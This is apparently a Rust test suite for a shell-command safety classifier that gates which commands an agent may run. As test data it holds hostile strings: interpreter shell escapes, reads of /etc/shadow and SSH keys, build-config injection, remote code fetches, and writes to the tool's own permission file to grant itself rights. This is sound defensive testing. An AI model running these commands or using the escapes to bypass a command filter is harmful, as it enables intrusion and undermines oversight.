use proptest::prelude::*;
use crate::pathctx::PathCtx;
use crate::{command_verdict, command_verdict_in, is_safe_command};
fn workspace() -> PathCtx {
PathCtx { cwd: Some("/work".into()), root: Some("/work".into()) }
}
fn command_names() -> Vec<String> {
let mut names: Vec<String> =
crate::handlers::handler_docs().into_iter().map(|d| d.name).collect();
names.extend(crate::registry::toml_command_names().into_iter().map(str::to_string));
names.sort();
names.dedup();
names
}
fn arb_arg_token() -> impl Strategy<Value = String> {
prop_oneof![
Just("-i".to_string()),
Just("-I".to_string()),
Just("--in-place".to_string()),
Just("--".to_string()),
Just("-".to_string()),
Just("=".to_string()),
Just("--from".to_string()),
Just("/etc/passwd".to_string()),
Just("../x".to_string()),
Just("data.csv".to_string()),
"-[a-zA-Z]",
"--[a-z][a-z-]{0,6}",
"--[a-z]{1,5}=[a-z,;]{1,3}",
"[a-z][a-z0-9]{0,4}",
"[./][a-z/.]{0,6}",
]
}
proptest! {
#![proptest_config(ProptestConfig::with_cases(1500))]
#[test]
fn handlers_never_panic_and_are_deterministic(
cmd in proptest::sample::select(command_names()),
args in proptest::collection::vec(arb_arg_token(), 0..6),
) {
let mut parts = vec![cmd];
parts.extend(args);
let line = parts.join(" ");
let a = command_verdict(&line).is_allowed();
let b = command_verdict(&line).is_allowed();
prop_assert_eq!(a, b, "nondeterministic verdict for `{}`", line);
}
}
fn arb_shell_fragment() -> impl Strategy<Value = String> {
prop_oneof![
Just("\"".into()), Just("'".into()), Just("`".into()), Just("\\".into()),
Just("$(".into()), Just(")".into()), Just("${".into()), Just("}".into()),
Just("(".into()), Just("{".into()), Just("[".into()), Just("]".into()),
Just("|".into()), Just("&&".into()), Just("||".into()), Just(";".into()),
Just("\n".into()), Just(">".into()), Just("<".into()), Just("&".into()), Just("=".into()),
Just("for".into()), Just("do".into()), Just("done".into()),
Just("if".into()), Just("then".into()), Just("fi".into()), Just("while".into()),
Just("bash".into()), Just("-c".into()), Just("perl".into()), Just("-e".into()),
Just("sed".into()), Just("mlr".into()), Just("find".into()), Just("git".into()),
Just("xargs".into()), Just("rm".into()), Just("cargo".into()), Just("go".into()),
"[a-z]{1,4}", "-[a-z]{1,3}", "[/.~][a-z/.]{0,4}", "\\$[A-Za-z]{1,3}",
]
}
proptest! {
#![proptest_config(ProptestConfig::with_cases(2500))]
#[test]
fn arbitrary_command_strings_never_panic(
frags in proptest::collection::vec(arb_shell_fragment(), 0..28),
) {
let line = frags.join(" ");
let a = command_verdict(&line).is_allowed();
let b = command_verdict(&line).is_allowed();
prop_assert_eq!(a, b, "nondeterministic verdict for `{}`", line.escape_debug().to_string());
}
}
fn finishes_within(input: &str, budget: std::time::Duration) -> bool {
let owned = input.to_string();
let (tx, rx) = std::sync::mpsc::sync_channel::<()>(1);
std::thread::spawn(move || {
let done = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
let _ = command_verdict(&owned);
}));
if done.is_ok() {
let _ = tx.send(());
}
});
rx.recv_timeout(budget).is_ok()
}
#[test]
fn classifier_terminates_on_adversarial_input() {
let budget = std::time::Duration::from_millis(1500);
let n = 100_000;
let corpus: Vec<String> = vec![
"(".repeat(n), ")".repeat(n), "$(".repeat(n / 2), "`".repeat(n),
"\"".repeat(n), "'".repeat(n), "{".repeat(n), "}".repeat(n), "[".repeat(n),
"|".repeat(n), ";".repeat(n), "&".repeat(n), "a".repeat(n), " ".repeat(n),
"-".repeat(n), "\n".repeat(n / 100), "&&".repeat(n / 2), "><".repeat(n / 2),
format!("echo {}", "$(".repeat(n / 4)),
format!("{}echo hi", "for x in a; do ".repeat(n / 200)),
format!("{}fi", "if true; then ".repeat(n / 200)),
format!("perl -e 'print \"{}\"'", "@{".repeat(n / 2)), format!("perl -e '{}'", "@{[".repeat(n / 3)),
format!("sed '{}'", "s/a/b/;".repeat(n / 8)),
format!("sed '{}'", "{".repeat(n / 2)),
format!("mlr {}", "cat then ".repeat(n / 10)),
format!("find . {}", "-name x ".repeat(n / 10)),
format!("awk '{}'", "{print}".repeat(n / 8)),
format!("git -c {} log", "a=b ".repeat(n / 8)),
"a\"b'c`d$e(f)g{h}[i]|j".repeat(n / 20),
"a$(a<(a".repeat(25),
"a<(a$(a".repeat(25),
"a$(a`a".repeat(25),
"a$((a$(a".repeat(25),
"a$(b<(c$(d`e".repeat(20),
"fd fd -x ".repeat(40),
"fd a b -x ".repeat(30),
"find . -exec find . -exec ".repeat(20),
format!("{}echo hi", "fd a -x fd b -x ".repeat(30)),
];
let mut slow = Vec::new();
for input in &corpus {
if !finishes_within(input, budget) {
let head = input.chars().take(24).collect::<String>();
slow.push(format!("len {} starting `{}`", input.len(), head.escape_debug()));
}
}
assert!(slow.is_empty(), "classifier hung/panicked (>{budget:?}) on:\n {}", slow.join("\n "));
}
proptest! {
#![proptest_config(ProptestConfig::with_cases(400))]
#[test]
fn substitution_salad_terminates_fast(
toks in proptest::collection::vec(
prop_oneof![
Just("a"), Just("$("), Just("<("), Just(">("), Just("$(("),
Just("`"), Just("'"), Just("\""), Just(")"), Just("\\"), Just(" "),
],
0..40,
),
) {
let input: String = toks.concat();
prop_assert!(
finishes_within(&input, std::time::Duration::from_millis(500)),
"classifier hung on substitution salad: {:?}", input
);
}
}
const WRITE_MODE_CASES: &[&str] = &[
"sed -i 's/a/b/' {p}",
"sed --in-place 's/a/b/' {p}",
"sed 'w {p}' input.txt",
"sed '1w {p}' input.txt",
"sed 's/a/b/w {p}' input.txt",
"perl -i -pe 's/a/b/' {p}",
"perl -i.bak -pe 's/a/b/' {p}",
"mlr -I --csv cat {p}",
"mlr --in-place --csv cat {p}",
];
const READ_MODE_CASES: &[&str] = &["sed 'r {p}' input.txt", "sed 'R {p}' input.txt"];
const OUT_OF_WORKSPACE: &[&str] = &[
"/etc/hosts",
"/etc/passwd",
"/root/.bashrc",
"/usr/local/bin/x",
"~/.ssh/id_rsa",
"~/.bashrc",
"../outside.txt",
"../../escape.txt",
];
proptest! {
#[test]
fn write_mode_flags_deny_out_of_workspace_targets(
template in proptest::sample::select(WRITE_MODE_CASES.to_vec()),
target in proptest::sample::select(OUT_OF_WORKSPACE.to_vec()),
) {
let line = template.replace("{p}", target);
let allowed = command_verdict_in(&line, workspace()).is_allowed();
prop_assert!(!allowed, "out-of-workspace write was allowed: `{}`", line);
}
#[test]
fn read_commands_deny_out_of_workspace_targets(
template in proptest::sample::select(READ_MODE_CASES.to_vec()),
target in proptest::sample::select(OUT_OF_WORKSPACE.to_vec()),
) {
let line = template.replace("{p}", target);
let allowed = command_verdict_in(&line, workspace()).is_allowed();
prop_assert!(!allowed, "out-of-workspace read was allowed: `{}`", line);
}
}
const MLR_MAIN_SNIPPETS: &[&str] = &[
"--csv", "--tsv", "--json", "--icsv --ojson",
"--from data.csv", "--ifs ,", "--from in.csv --ofs ;", "--seed 42",
];
const MLR_VERBS: &[&str] = &["cat", "head", "tail", "cut", "sort", "filter"];
proptest! {
#[test]
fn mlr_in_place_flag_denied_anywhere_in_main_region(
snippets in proptest::collection::vec(proptest::sample::select(MLR_MAIN_SNIPPETS.to_vec()), 0..4),
verb in proptest::sample::select(MLR_VERBS.to_vec()),
poison in proptest::sample::select(vec!["-I", "--in-place"]),
pos in 0usize..12,
) {
let mut main: Vec<String> =
snippets.join(" ").split_whitespace().map(str::to_string).collect();
let at = pos.min(main.len());
main.insert(at, poison.to_string());
let line = format!("mlr {} {} data.csv", main.join(" "), verb);
prop_assert!(!is_safe_command(&line), "mlr in-place flag in main region was allowed: `{}`", line);
}
}
const INTERPRETER_ESCAPES: &[(&str, &[&str])] = &[
("mlr put '{c}' data.csv", &["$x=system(\"id\")", "$*=exec(\"id\",\"a\")"]),
("mlr filter '{c}' data.csv", &["NR==1;system(\"id\")"]),
("awk '{c}' f.txt", &["BEGIN{system(\"id\")}", "{print | \"sh\"}"]),
("sed '{c}' f.txt", &["1e id", "e cat /etc/passwd", "s/x/y/e"]),
("perl -e '{c}'", &[
"system(\"id\")", "exec(\"id\")", "`id`",
"print \"@{[system(q(id))]}\"", "print \"${\\ system(q(id))}\"", "print \"@{[`id`]}\"", "print \"$h{`id`}\"", "print \"$a[`id`]\"", ]),
("ruby -e '{c}'", &["system(\"id\")", "exec(\"id\")", "`id`"]),
("python3 -c '{c}'", &["import os;os.system(\"id\")", "__import__(\"os\").system(\"id\")"]),
("node -e '{c}'", &["require(\"child_process\").execSync(\"id\")"]),
("gnuplot -e '{c}'", &["system \"id\""]),
];
proptest! {
#[test]
fn interpreter_commands_deny_shell_escapes(
entry in proptest::sample::select(INTERPRETER_ESCAPES.to_vec()),
) {
let (template, payloads) = entry;
for payload in payloads {
let line = template.replace("{c}", payload);
prop_assert!(!is_safe_command(&line), "interpreter shell-escape allowed: `{}`", line);
}
}
}
struct FormCase {
cmd: &'static str,
short: &'static str,
long: &'static str,
tail: &'static str,
values: &'static [&'static str],
}
const FORM_CASES: &[FormCase] = &[
FormCase {
cmd: "sed",
short: "-e",
long: "--expression",
tail: "file.txt",
values: &["s/a/b/", "s/a/b/g", "w /etc/passwd", "e", "r /etc/shadow", "1e id"],
},
FormCase {
cmd: "grep",
short: "-e",
long: "--regexp",
tail: "file.txt",
values: &["foo", "^bar$", "a.*b"],
},
];
fn form_combos() -> Vec<(String, String, String, String, String)> {
let mut v = Vec::new();
for c in FORM_CASES {
for val in c.values {
v.push((
c.cmd.to_string(),
c.short.to_string(),
c.long.to_string(),
c.tail.to_string(),
(*val).to_string(),
));
}
}
v
}
proptest! {
#[test]
fn flag_forms_classify_identically(combo in proptest::sample::select(form_combos())) {
let (cmd, short, long, tail, v) = combo;
let forms = [
format!("{cmd} {short} '{v}' {tail}"), format!("{cmd} {short}'{v}' {tail}"), format!("{cmd} {long} '{v}' {tail}"), format!("{cmd} {long}='{v}' {tail}"), ];
let verdicts: Vec<bool> = forms.iter().map(|f| is_safe_command(f)).collect();
prop_assert!(
verdicts.iter().all(|&x| x == verdicts[0]),
"flag forms of the same value diverge: {:?}",
forms.iter().zip(&verdicts).collect::<Vec<_>>(),
);
}
}
const EXEC_FILE_CMDS: &[&str] =
&["bash {exec}", "sh {exec}", "python3 {exec}", "node {exec}", "ruby {exec}"];
const FOREIGN_EXECUTORS: &[&str] =
&["/tmp/x.sh", "/etc/x.sh", "/usr/local/bin/x", "~/x.sh", "~/Downloads/x", "../x.sh", "/root/x"];
const WORKTREE_EXECUTORS: &[&str] =
&["./run.sh", "scripts/deploy.sh", "./cmd/tool", "bin/tool", "src/main.py"];
proptest! {
#[test]
fn code_exec_denies_foreign_executor(
tmpl in proptest::sample::select(EXEC_FILE_CMDS.to_vec()),
exec in proptest::sample::select(FOREIGN_EXECUTORS.to_vec()),
) {
let line = tmpl.replace("{exec}", exec);
prop_assert!(
!command_verdict_in(&line, workspace()).is_allowed(),
"foreign executor was allowed: `{}`",
line,
);
}
#[test]
fn code_exec_worktree_dominates_foreign(
tmpl in proptest::sample::select(EXEC_FILE_CMDS.to_vec()),
w in proptest::sample::select(WORKTREE_EXECUTORS.to_vec()),
f in proptest::sample::select(FOREIGN_EXECUTORS.to_vec()),
) {
let foreign_ok = command_verdict_in(&tmpl.replace("{exec}", f), workspace()).is_allowed();
let worktree_ok = command_verdict_in(&tmpl.replace("{exec}", w), workspace()).is_allowed();
prop_assert!(!foreign_ok || worktree_ok, "foreign more permissive than worktree: `{}`", tmpl);
}
#[test]
fn project_runner_redirect_flag_is_locus_gated(
f in proptest::sample::select(FOREIGN_EXECUTORS.to_vec()),
w in proptest::sample::select(WORKTREE_EXECUTORS.to_vec()),
) {
prop_assert!(
!command_verdict_in(&format!("cargo run --manifest-path {f}"), workspace()).is_allowed(),
"foreign manifest-path allowed: `cargo run --manifest-path {}`", f,
);
prop_assert!(
command_verdict_in(&format!("cargo run --manifest-path {w}"), workspace()).is_allowed(),
"worktree manifest-path denied: `cargo run --manifest-path {}`", w,
);
}
}
#[test]
fn go_run_allows_local_worktree_package_only() {
for ok in ["go run .", "go run ./cmd/tool", "go run ./main.go", "go run -race ./cmd", "go run main.go"] {
assert!(command_verdict_in(ok, workspace()).is_allowed(), "go run local worktree package denied: {ok}");
}
for bad in [
"go run rsc.io/goversion@latest", "go run github.com/evil/x@latest",
"go run example.com/cmd", "go run bin/tool", "go run pkg/sub",
"go run ~/x.go", "go run /tmp/x.go", "go run ../x.go",
] {
assert!(!command_verdict_in(bad, workspace()).is_allowed(), "go run non-local package allowed: {bad}");
}
}
#[test]
fn cargo_family_manifest_path_and_config_are_gated() {
for sub in ["build", "test", "bench", "check", "run", "doc"] {
for m in ["~/evil/Cargo.toml", "/tmp/x/Cargo.toml", "/etc/x/Cargo.toml"] {
let bad = format!("cargo {sub} --manifest-path {m}");
assert!(!command_verdict_in(&bad, workspace()).is_allowed(), "foreign manifest allowed: {bad}");
}
let cfg = format!("cargo {sub} --config build.rustc-wrapper=/tmp/evil");
assert!(!is_safe_command(&cfg), "cargo --config injection allowed: {cfg}");
}
for sub in ["build", "test", "check", "run"] {
let ok = format!("cargo {sub} --manifest-path ./sub/Cargo.toml");
assert!(command_verdict_in(&ok, workspace()).is_allowed(), "worktree manifest denied: {ok}");
}
}
#[test]
fn opaque_inline_code_denies() {
for c in ["python3 -c 'import os'", "node -e 'x()'", "ruby -e 'x'"] {
assert!(!is_safe_command(c), "opaque inline code allowed: {c}");
}
}
#[test]
fn unpinnable_executor_denies() {
for c in ["bash $SCRIPT", "bash *.sh", "python3 $(get-script)", "sh \"$X\""] {
assert!(!is_safe_command(c), "unpinnable executor allowed: {c}");
}
}
#[test]
fn code_exec_allows_worktree_executor() {
for tmpl in EXEC_FILE_CMDS {
for exec in WORKTREE_EXECUTORS {
let line = tmpl.replace("{exec}", exec);
assert!(
command_verdict_in(&line, workspace()).is_allowed(),
"worktree executor denied: `{}`",
line,
);
}
}
}
#[test]
fn cargo_build_family_run_is_consistent() {
for c in ["cargo build", "cargo test", "cargo bench", "cargo run"] {
assert!(is_safe_command(c), "build-family sub is inconsistent (run should match build/test): {c}");
}
}
#[test]
fn no_new_denylist_named_constants_in_handlers() {
const GRANDFATHERED: &[&str] = &[];
const MARKERS: &[&str] =
&["DANGEROUS", "FORBIDDEN", "UNSAFE", "BLOCKED", "BLOCKLIST", "DENYLIST", "MUTATING", "BADWORD"];
fn decl_name(line: &str) -> Option<&str> {
for kw in ["static ", "const "] {
if let Some(idx) = line.find(kw) {
let name = line[idx + kw.len()..].split([':', ' ', '<', '=']).next()?.trim();
if !name.is_empty() {
return Some(name);
}
}
}
None
}
fn rs_files(dir: &std::path::Path, out: &mut Vec<std::path::PathBuf>) {
for e in std::fs::read_dir(dir).unwrap() {
let p = e.unwrap().path();
if p.is_dir() {
rs_files(&p, out);
} else if p.extension().is_some_and(|x| x == "rs") {
out.push(p);
}
}
}
let root = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("src/handlers");
let mut files = Vec::new();
rs_files(&root, &mut files);
assert!(files.len() > 5, "scanned only {} handler files — the walk is broken, guard is vacuous", files.len());
let mut offenders = Vec::new();
let mut seen_grandfathered = Vec::new();
for file in &files {
for line in std::fs::read_to_string(file).unwrap().lines() {
let Some(name) = decl_name(line) else { continue };
if !MARKERS.iter().any(|m| name.contains(m)) {
continue;
}
if GRANDFATHERED.contains(&name) {
seen_grandfathered.push(name.to_string());
} else {
offenders.push(format!("{}: `{name}`", file.file_name().unwrap().to_string_lossy()));
}
}
}
assert!(
offenders.is_empty(),
"new DENYLIST-named constant(s) — enumerate the SAFE surface (positive allowlist), not the \
dangerous one, so unknown inputs fail closed:\n {}",
offenders.join("\n "),
);
for g in GRANDFATHERED {
assert!(
seen_grandfathered.iter().any(|s| s == g),
"grandfathered denylist constant `{g}` no longer found — it was converted or renamed; \
drop it from GRANDFATHERED so the ratchet stays tight",
);
}
}
#[test]
fn trust_root_is_unwritable_by_any_command() {
let home = std::env::var("HOME").unwrap_or_else(|_| "/root".into());
let spellings = [
"~/.config/safe-chains.toml".to_string(),
"$HOME/.config/safe-chains.toml".to_string(),
format!("{home}/.config/safe-chains.toml"),
"~/.config/./safe-chains.toml".to_string(),
];
let vectors: &[&str] = &[
"echo evil > {cfg}",
"echo evil >> {cfg}",
"cat payload > {cfg}",
"tee {cfg}",
"tee -a {cfg}",
"cp payload.toml {cfg}",
"mv payload.toml {cfg}",
"install payload.toml {cfg}",
"dd of={cfg}",
"truncate -s 0 {cfg}",
"ln -sf payload.toml {cfg}",
"sed -i 's/x/y/' {cfg}",
"perl -i -pe 's/x/y/' {cfg}",
];
let mut leaks = Vec::new();
for cfg in &spellings {
for v in vectors {
let line = v.replace("{cfg}", cfg);
if is_safe_command(&line) {
leaks.push(line);
}
}
}
assert!(
leaks.is_empty(),
"TRUST ROOT WRITABLE — self-escalation hole (an agent could grant itself permissions):\n {}",
leaks.join("\n "),
);
assert!(
is_safe_command("cat ~/.config/safe-chains.toml"),
"safe-chains must be able to READ its own config (only writes are denied)",
);
}
#[test]
fn absolute_and_relative_in_root_paths_classify_identically() {
for rel in ["README.md", "src/main.rs", "a/b/c.rs", "notes.txt"] {
let abs = format!("/work/{rel}");
let rv = command_verdict_in(&format!("cat {rel}"), workspace()).is_allowed();
let av = command_verdict_in(&format!("cat {abs}"), workspace()).is_allowed();
assert_eq!(rv, av, "abs vs rel spelling DISAGREE for in-root `{rel}` vs `{abs}`");
assert!(rv, "an in-root path must allow (both spellings): {rel}");
}
for bad in ["/etc/hosts", "/Users/someone/other/x", "/work/../sibling/secret", "/root/.ssh/id_rsa"] {
assert!(
!command_verdict_in(&format!("cat {bad}"), workspace()).is_allowed(),
"out-of-root absolute must deny: {bad}",
);
}
}